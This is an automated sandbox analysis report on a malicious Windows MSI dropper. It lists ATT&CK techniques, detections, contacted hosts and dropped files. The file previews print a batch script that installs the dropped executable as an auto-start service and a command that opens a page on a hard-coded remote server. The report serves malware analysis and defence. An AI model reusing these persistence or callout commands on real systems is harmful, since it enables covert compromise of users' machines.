Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	12 Process Injection	1 DLL Side-Loading	NTDS	165 System Information Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 File Deletion	LSA Secrets	281 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	3 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hBqTrQLya4.msi	32%	ReversingLabs	Win32.Trojan.Generic
hBqTrQLya4.msi	7%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	50%	ReversingLabs
C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	43%	Virustotal	Browse
C:\Users\user\Pictures\fotosdaviagem\windows10.exe	3%	ReversingLabs
C:\Users\user\Pictures\fotosdaviagem\windows10.exe	5%	Virustotal	Browse
C:\Windows\Installer\MSID686.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID686.tmp	1%	Virustotal	Browse
C:\Windows\Installer\MSID6F5.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID6F5.tmp	1%	Virustotal	Browse
C:\Windows\Installer\MSID754.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID754.tmp	1%	Virustotal	Browse
C:\Windows\Installer\MSID783.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID783.tmp	1%	Virustotal	Browse
C:\Windows\Installer\MSID7D3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSID7D3.tmp	1%	Virustotal	Browse
C:\Windows\Installer\MSIDD62.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIDD62.tmp	0%	Virustotal	Browse
C:\Windows\Installer\MSIDD92.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIDD92.tmp	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
www.google.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://45.90.123.184/favicon.ico	0%	Avira URL Cloud	safe
http://www.audio-tool.net	0%	Avira URL Cloud	safe
http://ip-api.com/json/	0%	Avira URL Cloud	safe
https://pastebin.com/raw/tBXs1wCj	0%	Avira URL Cloud	safe
http://www.indyproject.org/	0%	Avira URL Cloud	safe
http://ip-api.com/json/	0%	Virustotal		Browse
http://www.indyproject.org/	0%	Virustotal		Browse
https://pastebin.com/raw/tBXs1wCj	1%	Virustotal		Browse
http://www.audio-tool.net	5%	Virustotal		Browse
http://45.90.123.184/favicon.ico	8%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.186.132	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.90.123.184/favicon.ico	false	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://45.90.123.184/clientes/inspecionando.php	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/tBXs1wCj	windows10.exe, 00000020.00000002.2679332883.0000000004D48000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.audio-tool.net	windows10.exe, 0000000E.00000000.1282464047.0000000000497000.00000002.00000001.01000000.00000006.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.indyproject.org/	windows10.exe, 00000020.00000003.1624320924.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2679332883.0000000004C6C000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com/json/	windows10.exe, 00000020.00000003.1624320924.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
45.90.123.184	unknown	Germany	35913	DEDIPATH-LLCUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467456
Start date and time:	2024-07-04 09:12:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hBqTrQLya4.msi renamed because original name is a hash value
Original Sample Name:	29772a95fb3ed50319dc74f8be52963ee621dc151ccd94b10ea14a7123c268f7.msi
Detection:	MAL
Classification:	mal84.evad.winMSI@44/35@2/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 82% Number of executed functions: 54 Number of non-executed functions: 310
Cookbook Comments:	Found application associated with file extension: .msi

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.67, 142.250.185.110, 108.177.15.84, 34.104.35.123, 87.248.205.0, 216.58.206.35, 87.248.204.0
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://worldofprocure.com/worldofprocure.rar	Get hash	malicious	Unknown	Browse
	https://www.qcc.com/web/cms/overseaApply?opsriskcountry=%E7%BE%8E%E5%9B%BD&ip=155.190.35.6&back=%2Fweblogin%3Fback%3D%2Ffirm%2F1ef8635d382a741aaca689243a486673.html	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://m.exactag.com/ai.aspx?tc=d9177038bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atheannapolis250.org%2Fwinner%2F14136%2F%2FYnJhbndlbGwubW9mZmF0QGtwcy5jb20=	Get hash	malicious	Unknown	Browse
	https://we.tl/t-dQx6fJKslT	Get hash	malicious	Unknown	Browse
	http://sites.google.com/view/terramininghseq/inductions/binduli-and-goldfields-induction	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	https://ddec1-0-en-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fyourremittance.com.au%2ft%2fs%2fUD5xw4r&umid=cc04381d-8482-4529-83d6-e97329962ac3&auth=3a5566c60b1f4d8525fa8ab109f94675a663eb25-bbc82991079aa7c5d0d2ec918ad27ef8f965c70a	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://cdn.polyfill.io/	Get hash	malicious	Unknown	Browse
45.90.123.184	CrzA2u67LQ.msi	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DEDIPATH-LLCUS	Plata SWIFT 96127411.xls	Get hash	malicious	Remcos	Browse	103.124.107.228
	bn.jar	Get hash	malicious	Unknown	Browse	185.255.114.28
	https://thetechglitch.com/	Get hash	malicious	Unknown	Browse	45.141.122.239
	5klOcqqL2D.elf	Get hash	malicious	Mirai	Browse	161.8.26.215
	skid.x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	45.12.142.171
	CrzA2u67LQ.msi	Get hash	malicious	Unknown	Browse	45.90.123.184
	UyWmCsMy4T.elf	Get hash	malicious	Mirai	Browse	45.12.141.82
	lustsorelfar.exe	Get hash	malicious	Unknown	Browse	45.14.194.253
	lustsorelfar.exe	Get hash	malicious	Unknown	Browse	45.14.194.253
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	185.228.19.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.qcc.com/web/cms/overseaApply?opsriskcountry=%E7%BE%8E%E5%9B%BD&ip=155.190.35.6&back=%2Fweblogin%3Fback%3D%2Ffirm%2F1ef8635d382a741aaca689243a486673.html	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	file.exe	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	https://m.exactag.com/ai.aspx?tc=d9177038bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253Atheannapolis250.org%2Fwinner%2F14136%2F%2FYnJhbndlbGwubW9mZmF0QGtwcy5jb20=	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	https://ddec1-0-en-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fyourremittance.com.au%2ft%2fs%2fUD5xw4r&umid=cc04381d-8482-4529-83d6-e97329962ac3&auth=3a5566c60b1f4d8525fa8ab109f94675a663eb25-bbc82991079aa7c5d0d2ec918ad27ef8f965c70a	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	file.exe	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	https://cdn.polyfill.io/	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	https://googie-anaiytics.com	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	https://promoboxxinc-my.sharepoint.com/:o:/g/personal/mark_ruthfield_promoboxx_com/EhhP0_qQ-pRNnHIIvk85j7YBGabYCjE3lQP2M5rir-Tkwg?e=5%3a9mx4QX&at=9&xsdata=MDV8MDJ8YWNoYW50bGVyQHNldmVuLmNvbS5hdXxhYjcxZTkyMmVhZWM0NzA2OWUyMDA4ZGM5YmNjN2EyNHxiMzU5MjkxMjQxNTU0Mzk5Yjc5MDc1MmM4OTRkMjkzNXwwfDB8NjM4NTU2NTQ5NzMyMDQ2Nzk5fFVua25vd258VFdGcGJHWnNiM2Q4ZXlKV0lqb2lNQzR3TGpBd01EQWlMQ0pRSWpvaVYybHVNeklpTENKQlRpSTZJazFoYVd3aUxDSlhWQ0k2TW4wPXwwfHx8&sdata=MVpGSnd1NWxrcmZ3SkpKc0RENHZCWFQvVTVHTTJSUWlFQXdUaGZONlRuYz0%3d	Get hash	malicious	HTMLPhisher	Browse	2.19.104.72 40.68.123.157 52.165.165.26
	file.exe	Get hash	malicious	Unknown	Browse	2.19.104.72 40.68.123.157 52.165.165.26

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Pictures\fotosdaviagem\windows10.exe	NF_e_07_2024_XML__.msi	Get hash	malicious	Unknown	Browse
	CrzA2u67LQ.msi	Get hash	malicious	Unknown	Browse
	z1Pedido-Faturado-NF-938731.cmd	Get hash	malicious	Unknown	Browse
	arquivo.msi	Get hash	malicious	Unknown	Browse
	z1Intimacao-eletronica.msi	Get hash	malicious	Unknown	Browse
	Nota.msi	Get hash	malicious	Unknown	Browse
C:\Windows\Installer\MSID686.tmp	CrzA2u67LQ.msi	Get hash	malicious	Unknown	Browse
	HomeDesk.msi	Get hash	malicious	Unknown	Browse
	z1Pedido-Faturado-NF-938731.cmd	Get hash	malicious	Unknown	Browse
	arquivo.msi	Get hash	malicious	Unknown	Browse
	25690.01808D.msi	Get hash	malicious	Unknown	Browse
	fatKCMAGKKH.msi	Get hash	malicious	Unknown	Browse
	SPMServer_2024.3.5.473.exe	Get hash	malicious	Unknown	Browse
	SPMServer_2024.2.1.7.exe	Get hash	malicious	Unknown	Browse
	SPMServer_2024.3.1.22.exe	Get hash	malicious	Unknown	Browse
	Df.mes-25664.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\49d149.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	9582
Entropy (8bit):	5.549730100561323
Encrypted:	false
SSDEEP:	96:QwnCAAQlZ/RdLc3Yl6MoJmlRERT4g5HN+1pd+raR9mK2TUdBFjQbLe5ubi8I8Kw1:Q8CfqdOCetZ2fHkEodiMH
MD5:	C1E4C37FD8D757BB1AC90AD449E3C483
SHA1:	46B939B2DF15A5318BD72608DD1D03AEE792C6CC
SHA-256:	1DF09731DED4FDC2F1FF39E88CB1A7CB5661CBC02144FCF7A51F8B9F873BE904
SHA-512:	0F7190C3F16BF6846CCF5B64E0EB7795A07D3183951C632CE14AA22F0FAB82C5890A5F53336C219D857B8CBB9014BADA3C5018B17A09C920F29C9027F9BAD57E
Malicious:	false
Preview:	...@IXOS.@.....@...X.@.....@.....@.....@.....@.....@......&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}..Aplicativo Windows..hBqTrQLya4.msi.@.....@?....@.....@........&.{32FF458D-4EB8-49EA-9D5C-9471CB31AE21}.....@.....@.....@.....@.......@.....@.....@.......@......Aplicativo Windows......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]....ProcessComponents%.Atualizando o registro de componentes..&.{60715A9F-4AEC-4D83-B87A-914CE6AF84AD}&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}.@......&.{232B65CE-07F2-4C09-8446-D0B152043BFA}&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}.@......&.{22B4B4EB-20D3-4CCD-A51F-EBD421917779}&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}.@......&.{3A6531DD-7594-4904-AAB9-32F10FD461DF}&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}.@......&.{4669957E-4874-4408-AF9D-19502B394F45}&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}.@......&.{7FA89396-444D-4152-8B48-A5E58414D67B}&.{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}.@......&.{1A182076-3D9

C:\Users\user\AppData\Local\Temp\MSI9cfef.LOG

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	249926
Entropy (8bit):	3.803039078905188
Encrypted:	false
SSDEEP:	1536:yxqvZFe7Iq/8z8VDh5SYVQheG6Wr5vbpRYpJhJa2pQt2xp/RPHBK2Pp3pRpMWpP8:qI+QBZVjacxlV86xncpRj4ICWZW
MD5:	921AC580EF1AB59F47321CEE17A646B2
SHA1:	040BFB4B6C7CACFAD17B7B1ADE6D6A4441808186
SHA-256:	517CA669EC5BF920E14682FD95D27A19869182008CCAC4656689142BD7A9BD82
SHA-512:	27539AB4039131B8383AEDEC5964B4445A9E63B1C7CA2B37829F3762980093C2FF4464B4735D23E5EB5503E39167FCEF7FEB2E53201465BB57C1AF2A360BD99A
Malicious:	false
Preview:	..=.=.=. .V.e.r.b.o.s.e. .l.o.g.g.i.n.g. .s.t.a.r.t.e.d.:. .0.4./.0.7./.2.0.2.4. . .0.3.:.1.3.:.0.7. . .B.u.i.l.d. .t.y.p.e.:. .S.H.I.P. .U.N.I.C.O.D.E. .5...0.0...1.0.0.1.1...0.0. . .C.a.l.l.i.n.g. .p.r.o.c.e.s.s.:. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.m.s.i.e.x.e.c...e.x.e. .=.=.=.....M.S.I. .(.c.). .(.4.0.:.7.8.). .[.0.3.:.1.3.:.0.7.:.7.9.5.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.4.0.:.7.8.). .[.0.3.:.1.3.:.0.7.:.7.9.5.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.4.0.:.4.0.). .[.0.3.:.1.3.:.0.7.:.8.4.2.].:. .R.e.s.e.t.t.i.n.g. .c.a.c.h.e.d. .p.o.l.i.c.y. .v.a.l.u.e.s.....M.S.I. .(.c.). .(.4.0.:.4.0.). .[.0.3.:.1.3.:.0.7.:.8.4.2.].:. .M.a.c.h.i.n.e. .p.o.l.i.c.y. .v.a.l.u.e. .'.D.e.b.u.g.'. .i.s. .

C:\Users\user\Documents\Windows10.cmd

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	196
Entropy (8bit):	4.891201943788933
Encrypted:	false
SSDEEP:	3:mKDDktbrXj18BIDQK1ERNLw2ABOA53kfNINAgAEFWREX6EEDQobhL3T18BQQUT+:hwFDJRku4NfIOc/Q3RVPRbj5QZ
MD5:	1951A22DD00589B9D64F27075C96188B
SHA1:	4CBEDB39A682D217EA63693346D337E032B85A28
SHA-256:	F1560195A61B8DFB6FDCA79B328F2D221187EFA8932DC9A4232C317BF8151292
SHA-512:	41E39FEE27A854C0F68CC70633F4CF51131E5EB15CE693DB3E6CA90321E32B836E9497A111965AB20B65BFBF68CF5CCEB28D14073EBB2DBA7D1C9258BC55E084
Malicious:	false
Preview:	@echo off..REM --- Criar o servi.o ---..sc create MeuServico binPath= "%USERPROFILE%\Pictures\fotosdaviagem\windows10.exe" start= auto..REM --- Iniciar o servi.o ---..sc start MeuServico....exit

C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13055488
Entropy (8bit):	7.959489535522271
Encrypted:	false
SSDEEP:	196608:SAoi2diILpItfMCl5gZrcAh8yIFYGUeCnNOSunnTDt0qZ5nRHT4Aw7oMPsl5+4f9:nqEtfnFVDcIDnHD5RH8rJPA5f1
MD5:	1120F08674501BA801FC27AB40E4A25E
SHA1:	6E98C6ACAF47875996743A787CF763E163926C60
SHA-256:	55EFA31F8FCC414F08CB0B2F3598C05896315F956F1ECB7C61908A0B60100949
SHA-512:	795C58DA3CBE8944B086BDEB369978C9899E4AA924A9F7B10801E184005A581D84D0AF14DFA0917BE81D0BE05CA0B3684C9909D228ECD788BA858D316E0D4D01
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........PE..L....FQd..................-..........T........-...@...........................g.....................................h..&-...........f.......................f......................................................................................text.....-......................... ..`.itext........-..................... ..`.data....x....-.....................@....bss.....X...@...........................idata..`8..........................@....didata.l...........................@....edata..&-..........................@..@.rdata..E.... /.....................@..@.ri$....rbp..0/..................... ..`.)5y................................@....kC0.....!.......".................. ..`.rsrc.........f......(..............@..@.reloc........f.....................@..B..................... 4......n3.............@..@........................................................

C:\Users\user\Pictures\fotosdaviagem\cdburner.md

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	16156854
Entropy (8bit):	7.999987454770361
Encrypted:	true
SSDEEP:	393216:b3jVMSUmx4twho2HfoWAN+d+Gstcdq5Z92/72X4o/o:LjGo4tMfFItcUn92xo/o
MD5:	697FF336A8F1278BEBD9FA3358BAE2BA
SHA1:	39514D8961C976B25E803A8EDF65AF1928D2CD2E
SHA-256:	918DE41CB24F5BE5A473B2D0881FEE5D56869640742F37466CBCAF5FD154E9CE
SHA-512:	32F943FEA634E6FB0C0B2D4E934FC671838611CEB9068840C6E7CE99036E06BE94E88B38256AC57729DF1983E0B5DC1474F7458CA32EF371B0D84077656FBDAF
Malicious:	false
Preview:	r/.fn...W.k........W.&r..r}.....B.N......N8..#.%..s..\A?.(am.\|..x).....=.3}SzIU..9.R...Q.V....'.f-^..@..... .e\l7..[%.]r..N\....9.z.V...}o....I.....?B......e%.=...x.@..+U..4.U..R...j(b..9...C.o.#U.w..U!F.18......M]......D..'Zx....n3.....Ql..U=B..,..q/..0mC...~..n....:..4. /.@.$...q\|..>.fd3.u.E.X..I.........T.............s@..[/f.x:^..F..?.).}pnx._..=...n......J..{x7...Z!F.hat....@4g.<..!=..Q9..F.E5...V~.B.1$...\.``=....;A...#.ab.3#ZA%.....S.<".@@T(@H.0.a..G`B..o..{$a1.%_......x.Q..)C....^.r..%i.,O\r..#...a.p....<...N...!6.4.r..Is.W.(..:6..........St..(..%...C..f`ZR..+.zK....."d..FwL..TR...]8.9...3.HX>;@m.v&+'.....r.)...`n.Z...."..7;.N........wJ.1....g..........V."....(7u.M..,o..z.R.&..w.v4.U./..V.b.\.o.z.M.i7.L.e...,U.S+.v6.P...`.w .PB.f.......j..,.:.C\...Fc..:...`:=.X......26.......G^..l.`..f.....[...x...6...v....Y.c..M.U..]k..1..).&...@...].bf.....@. .pZ.0.(.}...k...1.....:.d]L../.~.V>\|qQ..t.5.>I#..>....<l...g..@]...k9kF.,!.."%h...z

C:\Users\user\Pictures\fotosdaviagem\cdburnerConnect

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	5.245447224305563
Encrypted:	false
SSDEEP:	3:3ugfKvpkPxBKS9Gr236TOf:+giveJr9Upg
MD5:	51C2C6285991EF6126010B102782B43D
SHA1:	9CAEC981404A3BAD4536CB42DE557EB1CFECB085
SHA-256:	3692E5F68D8F5D3A8A3782FAAC232D89C74E37ED8E9EF2853AEE0147E4D2659C
SHA-512:	9C99EE675E9D3F9320DEFF79F23B062B2E563C5E1824089DA4825F25E8F8A87E0E870758EDAA4610C78F850EA2355886CE5F30DE51C1536F8713E9045999D48E
Malicious:	false
Preview:	jn8r4IjEzoJLa1cjTx5vc2C9Sk3Ff7+76/nuToKOtShN..oKPv+W/D

C:\Users\user\Pictures\fotosdaviagem\cont.cmd

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.461516388926147
Encrypted:	false
SSDEEP:	3:jhRFLVUdxyVY1QVn:jHFydxyVY1QV
MD5:	79F4017D8256FDFB1D7FA719A0CB4771
SHA1:	73ACD3CC6353ECFF615BB8BE2FB1B8D28BD0BF12
SHA-256:	BDAA787D67F8B4B80B1D271C2D6AB4D6ACC1C05DF309D5EFDDFB3D0D4DB93A0F
SHA-512:	350ED557950074CAD51412D05D755771137BBC83400B1C28997559F6023F91B0A3C953E6B6E52BB6264566AD078AA0B3A0B41B3D3CAF9745513156138CB61E5B
Malicious:	false
Preview:	Start http://45.90.123.184/clientes/inspecionando.php

C:\Users\user\Pictures\fotosdaviagem\settings.xml

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	7.888051089019235
Encrypted:	false
SSDEEP:	48:PCSBPCF4qYtOIt9Oxi0/1YapmAg7VZNPVs:PvCFxYzmxN3mAYNS
MD5:	FEBE516EE835A50D940B2413596527C4
SHA1:	E38B8178C37973A7E43F1EE183F08FCFFFAEC5AC
SHA-256:	2E62CCA2526CD1355D85F607DCD274F05C808DB6AD9FCA42DC9371A30DB52652
SHA-512:	C719989A043475CFC1CDF3EBAE5E27DC721F025279F7EB3F3E1FA52D1A0F440214F77986EC4D18BFE1FFC6905C512198DBA0A0299D1FE7EDA66BD0E7205E772F
Malicious:	false
Preview:	..5....\..).X.rBA..F..3^,..p.U%#O.5....q.a..U.G.......o....5.......&O.:....T..z...d.....[.....k.8S....0..{W$HP.b2&E....u..x..,l[T.0]..Q.[..X_,7`...m.@....@...u....r..E....P.:[.{.\.X..&>..r._ue..Y.......^....x... 4\.u.....D-...v.z.M...1.q..j.....9a'...Y..fL)...,442$pw .\|7mu....$.s..od..Bl.....@...qo.#.....n.!.I....B.a.DA...sv.>.;..$D....`c....TiI%.-..h.>..6}]e..7..y?.5...10W13.,]&^U\.O.).a.9.s..).4.h...LV..z9..0...F.M......S{..~.rki....Q..&.#.f3....Ob......(...m...B.Q...m.p..W....zj.=..J.6.8....t..6.......R.,m...<(m.J....1.....g...j..a........,.._....P...t.....K..\|~D.%.8.zLC{...P.....{W.U..z:.k........U..D@....Q....T.V....p..Mo..B.)#.'...nu:..o....o..H..j.X.........6... (wq.K. ..K.@.....I.fK..a.4..P.wcS.... .b..'C7....ha..3.S..(.fH'.(.Jj.;...Wq8..c........7.{.7.E..-l.t.!.P.6..&:...r7.-z...\|Pm.8.6.~..L..r.Z.A.oQ......@.L...q.2 %..f.G.^...S...A/.Q.n..Rq..".VQG!..n..[:X>..5....v.L.c..zc.F.Y.p..m..>.+9..G...,g6.U..;B)..Mp.....H?F....k.\.co\|....

C:\Users\user\Pictures\fotosdaviagem\windows10.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1626280
Entropy (8bit):	7.371352775782398
Encrypted:	false
SSDEEP:	49152:H4jyNKd2Bqc8Y7IDbauSVGDzhGjThGDzhmj8L5NsmK2:H4Fd2Bqc8Y7IDbauSVGDzhGjThGDzhmL
MD5:	BDC0CFF1E6E3DB489864041A623F0D1E
SHA1:	CF1BEEEC71ABBFBE8A6F47ABAAA6C1AF2FEE37DC
SHA-256:	585741CA3C4041BB39D107F1F159D908650967FBCCAC3A491BCA389CC4BA0769
SHA-512:	AEAF1D2DA43584AE91EA032C59A945AB91F721CC3B5BB98C2C7096DFD8C728B4EBF735491E06E934B4B1C9F1CCC719F950AD6F45E212F638B52C7AF5EFCC18DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 5%, Browse
Joe Sandbox View:	Filename: NF_e_07_2024_XML__.msi, Detection: malicious, Browse Filename: CrzA2u67LQ.msi, Detection: malicious, Browse Filename: z1Pedido-Faturado-NF-938731.cmd, Detection: malicious, Browse Filename: arquivo.msi, Detection: malicious, Browse Filename: z1Intimacao-eletronica.msi, Detection: malicious, Browse Filename: Nota.msi, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@........................... .../... .......................p..p............................`......................................................CODE................................ ..`DATA....p...........................@...BSS......................................idata.../... ...0..................@....tls.........P.......0...................rdata.......`.......0..............@..P.reloc..p....p.......2..............@..P.rsrc........ ......................@..P....................................@..P........................................................................................................................................

C:\Windows\Installer\49d147.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
